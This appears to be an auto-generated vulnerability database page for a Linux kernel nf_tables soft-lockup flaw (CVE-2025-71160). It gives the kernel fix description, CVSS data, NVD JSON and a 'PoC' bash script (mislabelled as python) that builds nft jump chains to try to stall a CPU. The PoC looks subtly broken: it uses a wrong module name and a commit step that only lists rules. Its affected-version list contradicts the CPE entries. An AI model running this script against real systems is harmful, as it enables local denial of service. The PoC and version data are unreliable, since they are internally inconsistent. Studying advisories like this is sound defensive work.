Security Vulnerability Report
中文
CVE-2025-71160 CVSS 5.5 MEDIUM

CVE-2025-71160

Published: 2026-01-23 16:15:53
Last Modified: 2026-02-26 20:19:15
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_tables: avoid chain re-validation if possible Hamza Mahfooz reports cpu soft lock-ups in nft_chain_validate(): watchdog: BUG: soft lockup - CPU#1 stuck for 27s! [iptables-nft-re:37547] [..] RIP: 0010:nft_chain_validate+0xcb/0x110 [nf_tables] [..] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_immediate_validate+0x36/0x50 [nf_tables] nft_chain_validate+0xc9/0x110 [nf_tables] nft_table_validate+0x6b/0xb0 [nf_tables] nf_tables_validate+0x8b/0xa0 [nf_tables] nf_tables_commit+0x1df/0x1eb0 [nf_tables] [..] Currently nf_tables will traverse the entire table (chain graph), starting from the entry points (base chains), exploring all possible paths (chain jumps). But there are cases where we could avoid revalidation. Consider: 1 input -> j2 -> j3 2 input -> j2 -> j3 3 input -> j1 -> j2 -> j3 Then the second rule does not need to revalidate j2, and, by extension j3, because this was already checked during validation of the first rule. We need to validate it only for rule 3. This is needed because chain loop detection also ensures we do not exceed the jump stack: Just because we know that j2 is cycle free, its last jump might now exceed the allowed stack size. We also need to update all reachable chains with the new largest observed call depth. Care has to be taken to revalidate even if the chain depth won't be an issue: chain validation also ensures that expressions are not called from invalid base chains. For example, the masquerade expression can only be called from NAT postrouting base chains. Therefore we also need to keep record of the base chain context (type, hooknum) and revalidate if the chain becomes reachable from a different hook location.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
Linux kernel < 6.12 (with nf_tables enabled)
Linux kernel 6.1.x < 6.1.120
Linux kernel 6.6.x < 6.6.70
Linux kernel 6.12.x < 6.12.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-71160 PoC - nf_tables chain validation DoS # This PoC creates a complex chain jump structure to trigger CPU soft lockup # Load nf_tables kernel module modprobe nftables # Create a simple chain structure that demonstrates the issue nft add table inet filter # Create base chain nft add chain inet filter input { type filter hook input priority 0; policy accept; } # Create multiple jump chains to trigger re-validation issue nft add chain inet filter j1 nft add chain inet filter j2 nft add chain inet filter j3 # Add rules that create overlapping paths causing repeated validation nft add rule inet filter input jump j2 nft add rule inet filter input jump j2 nft add rule inet filter input jump j1 # Add jump chains that create deep nesting nft add rule inet filter j1 jump j2 nft add rule inet filter j2 jump j3 # This creates the problematic validation pattern: # input -> j2 -> j3 (validated twice unnecessarily) # input -> j1 -> j2 -> j3 (requires full revalidation) echo "Rules added. The complex chain structure may trigger soft lockup during nft commit." # Attempt to commit changes - this is where nft_chain_validate() runs nft list ruleset

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-71160", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:52.897", "lastModified": "2026-02-26T20:19:14.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: avoid chain re-validation if possible\n\nHamza Mahfooz reports cpu soft lock-ups in\nnft_chain_validate():\n\n watchdog: BUG: soft lockup - CPU#1 stuck for 27s! [iptables-nft-re:37547]\n[..]\n RIP: 0010:nft_chain_validate+0xcb/0x110 [nf_tables]\n[..]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_table_validate+0x6b/0xb0 [nf_tables]\n nf_tables_validate+0x8b/0xa0 [nf_tables]\n nf_tables_commit+0x1df/0x1eb0 [nf_tables]\n[..]\n\nCurrently nf_tables will traverse the entire table (chain graph), starting\nfrom the entry points (base chains), exploring all possible paths\n(chain jumps). But there are cases where we could avoid revalidation.\n\nConsider:\n1 input -> j2 -> j3\n2 input -> j2 -> j3\n3 input -> j1 -> j2 -> j3\n\nThen the second rule does not need to revalidate j2, and, by extension j3,\nbecause this was already checked during validation of the first rule.\nWe need to validate it only for rule 3.\n\nThis is needed because chain loop detection also ensures we do not exceed\nthe jump stack: Just because we know that j2 is cycle free, its last jump\nmight now exceed the allowed stack size. We also need to update all\nreachable chains with the new largest observed call depth.\n\nCare has to be taken to revalidate even if the chain depth won't be an\nissue: chain validation also ensures that expressions are not called from\ninvalid base chains. For example, the masquerade expression can only be\ncalled from NAT postrouting base chains.\n\nTherefore we also need to keep record of the base chain context (type,\nhooknum) and revalidate if the chain becomes reachable from a different\nhook location."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnetfilter: nf_tables: evitar la revalidación de cadenas si es posible\n\nHamza Mahfooz informa de bloqueos suaves de CPU en\nnft_chain_validate():\n\n watchdog: BUG: soft lockup - CPU#1 atascada durante 27s! [iptables-nft-re:37547]\n[..]\n RIP: 0010:nft_chain_validate+0xcb/0x110 [nf_tables]\n[..]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_immediate_validate+0x36/0x50 [nf_tables]\n nft_chain_validate+0xc9/0x110 [nf_tables]\n nft_table_validate+0x6b/0xb0 [nf_tables]\n nf_tables_validate+0x8b/0xa0 [nf_tables]\n nf_tables_commit+0x1df/0x1eb0 [nf_tables]\n[..]\n\nActualmente, nf_tables recorrerá toda la tabla (grafo de cadenas), comenzando\ndesde los puntos de entrada (cadenas base), explorando todas las rutas posibles\n(saltos de cadena). Pero hay casos en los que podríamos evitar la revalidación.\n\nConsidere:\n1 input -&gt; j2 -&gt; j3\n2 input -&gt; j2 -&gt; j3\n3 input -&gt; j1 -&gt; j2 -&gt; j3\n\nEntonces la segunda regla no necesita revalidar j2, y, por extensión j3,\nporque esto ya fue verificado durante la validación de la primera regla.\nNecesitamos validarlo solo para la regla 3.\n\nEsto es necesario porque la detección de bucles de cadena también asegura que no excedamos\nla pila de saltos: Solo porque sabemos que j2 está libre de ciclos, su último salto\npodría ahora exceder el tamaño de pila permitido. También necesitamos actualizar todas\nlas cadenas alcanzables con la nueva profundidad de llamada más grande observada.\n\nSe debe tener cuidado de revalidar incluso si la profundidad de la cadena no será un\nproblema: la validación de la cadena también asegura que las expresiones no se llamen desde\ncadenas base inválidas. Por ejemplo, la expresión de enmascaramiento solo puede ser\nllamada desde cadenas base de postrouting NAT.\n\nPor lo tanto, también necesitamos mantener un registro del contexto de la cadena base (tipo,\nhooknum) y revalidar si la cadena se vuelve alcanzable desde una ubicación de hook diferente."}], ... (truncated)